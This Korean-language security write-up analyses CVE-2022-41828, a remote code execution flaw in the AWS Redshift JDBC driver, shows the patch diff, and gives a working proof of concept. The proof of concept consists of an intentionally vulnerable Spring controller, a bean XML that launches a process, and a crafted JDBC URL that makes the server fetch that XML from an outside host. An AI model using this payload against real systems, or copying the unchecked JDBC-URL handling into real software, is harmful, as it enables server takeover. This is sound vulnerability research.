
[CVE-2022-41828] Amazon AWS Redshift JDBC Driver 원격 코드 실행 (RCE)
Amazon JDBC Driver for Redshift는 Java Platform, Enterprise Editions에서 제공하는 표준 JDBC 애플리케이션 프로그래밍 인터페이스(API)를 통해 데이터베이스 연결을 제공하는 Type 4 JDBC 드라이버입니다. 이 드라이버는 모든 Java 애플리케이션, 애플리케이션 서버 또는 Java 지원 애플릿에서 Redshift에 접근할 수 있도록 합니다.
redshift-jdbc42 버전 2.1.0.7 이하에서 잠재적인 원격 명령 실행 문제가 존재합니다. 드라이버와 함께 플러그인을 사용할 때, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback 연결 속성을 통해 제공된 Java 클래스 이름을 기반으로 플러그인 인스턴스를 인스턴스화합니다. 영향을 받는 버전에서 드라이버는 인스턴스화 전에 플러그인 클래스가 예상된 인터페이스를 구현하는지 확인하지 않습니다. 이로 인해 임의의 Java 클래스가 로드될 수 있으며, JDBC URL을 제어할 수 있는 지식이 있는 공격자가 이를 사용하여 원격 코드 실행을 달성할 수 있습니다.
이 문제는 redshift-jdbc-42 버전 2.1.0.8 이상에서 패치되었습니다.
AWS는 플러그인을 사용하는 고객에게 redshift-jdbc42 버전 2.1.0.8 이상으로 업그레이드할 것을 권장합니다. 이 문제에 대해 알려진 해결 방법은 없습니다.
이 문제를 해결하기 위해 커밋 aws/amazon-redshift-jdbc-driver@9999659에서 4개의 Java 클래스가 수정되었습니다. 각각의 클래스는 다음과 같습니다.
@@ -38,7 +38,7 @@ public static SocketFactory getSocketFactory(Properties info) throws RedshiftExc
return SocketFactory.getDefault();
}
try {
//removed return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, RedshiftProperty.SOCKET_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(
@@ -66,7 +66,7 @@ public static SSLSocketFactory getSslSocketFactory(Properties info) throws Redsh
if (classname.equals(RedshiftConnectionImpl.NON_VALIDATING_SSL_FACTORY))
classname = NonValidatingFactory.class.getName();
//removed return (SSLSocketFactory) ObjectFactory.instantiate(classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info));
return ObjectFactory.instantiate(SSLSocketFactory.class, classname, info, true, RedshiftProperty.SSL_FACTORY_ARG.get(info)); //added
} catch (Exception e) {
throw new RedshiftException(

@@ -61,7 +61,7 @@ private CallbackHandler getCallbackHandler(Properties info) throws RedshiftExcep
String sslpasswordcallback = RedshiftProperty.SSL_PASSWORD_CALLBACK.get(info);
if (sslpasswordcallback != null) {
try {
//removed cbh = (CallbackHandler) ObjectFactory.instantiate(sslpasswordcallback, info, false, null);
cbh = ObjectFactory.instantiate(CallbackHandler.class, sslpasswordcallback, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The password callback class provided {0} could not be instantiated.",

@@ -59,7 +59,7 @@ private static void verifyPeerName(RedshiftStream stream, Properties info, SSLSo
sslhostnameverifier = "RedshiftjdbcHostnameVerifier";
} else {
try {
//removed hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);
hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null); //added
} catch (Exception e) {
throw new RedshiftException(
GT.tr("The HostnameVerifier class provided {0} could not be instantiated.",

@@ -34,13 +34,13 @@ public class ObjectFactory {
* @throws IllegalAccessException if something goes wrong
* @throws InvocationTargetException if something goes wrong
*/
//removed public static Object instantiate(String classname, Properties info, boolean tryString,
public static <T> T instantiate(Class<T> expectedClass, String classname, Properties info, boolean tryString, //added
String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException, InstantiationException, IllegalAccessException,
InvocationTargetException {
Object[] args = {info};
Constructor<?> ctor = null; //removed
Class<?> cls = Class.forName(classname); //removed
Constructor<? extends T> ctor = null; //added
Class<? extends T> cls = Class.forName(classname).asSubclass(expectedClass); //added
try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException nsme) {

CVE-2022-41828을 재현하기 위해, 취약한 redshift-jdbc42 버전 2.1.0.7 드라이버를 외부 라이브러리로 사용하는 Spring 프레임워크 기반의 취약한 Java 애플리케이션이 개발되었습니다.
다음 코드 조각은 pom.xml 파일의 내용을 나타냅니다.
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>RedshiftJdbcRce</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>RedshiftJdbcRce</name>
<description>RedshiftJdbcRce</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.7</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

다음 코드 조각은 src/main/java/com/example/redshiftjdbcrce/controller/RedshiftJdbcRCE.java 컨트롤러 클래스의 내용을 나타냅니다.
package com.example.redshiftjdbcrce.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.DriverManager;
import java.sql.SQLException;
@RestController
public class RedshiftJdbcRCE {
@RequestMapping("/jdbcset")
public void jdbcSet(HttpServletRequest request, HttpServletResponse response) throws SQLException {
String jdbcurl = request.getParameter("jdbc");
DriverManager.getConnection(jdbcurl);
}
public static void main(String[] args) throws SQLException {
}
}

다음 파일은 악용 중에 사용된 XML 문서 구조 cmd.xml의 생성자 내용을 나타냅니다.
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<!--<value>touch</value>-->
<!--<value>/tmp/CVE-2022-41828</value>-->
<value>gnome-calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
취약점을 트리거하기 전에, 관련 cmd.xml 파일이 HTTP를 통해 제공되어 대상 서버가 접근할 수 있도록 합니다.
root@kali:~$ python3 -m http.server 2121
취약점을 트리거/악용하기 위해, 다음과 같이 페이로드와 함께 요청이 전송됩니다.
POST /jdbcset HTTP/1.1
Host: 127.0.0.1:8081
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
jdbc=jdbc:redshift://127.0.0.1:5439/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://172.22.0.43:2121/cmd.xml
HTTP/1.1 500
Content-Type: application/json
Date: Thu, 08 Dec 2022 13:58:14 GMT
Connection: close
Content-Length: 108
{
"timestamp": "2022-12-08T13:58:14.295+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/jdbcset"
}

이 취약점의 해결 방법에 대한 자세한 내용은 다음 리소스를 참조하십시오.
AWS Redshift JDBC Driver fails to validate class type during object instantiationredshift-jdbc-42 <= 2.1.0.7에서의 잠재적 원격 명령 실행aws/amazon-redshift-jdbc-driver@40b143baws/amazon-redshift-jdbc-driver@9999659CVE-2022-41828CVE-2022-41828CVE-2022-41828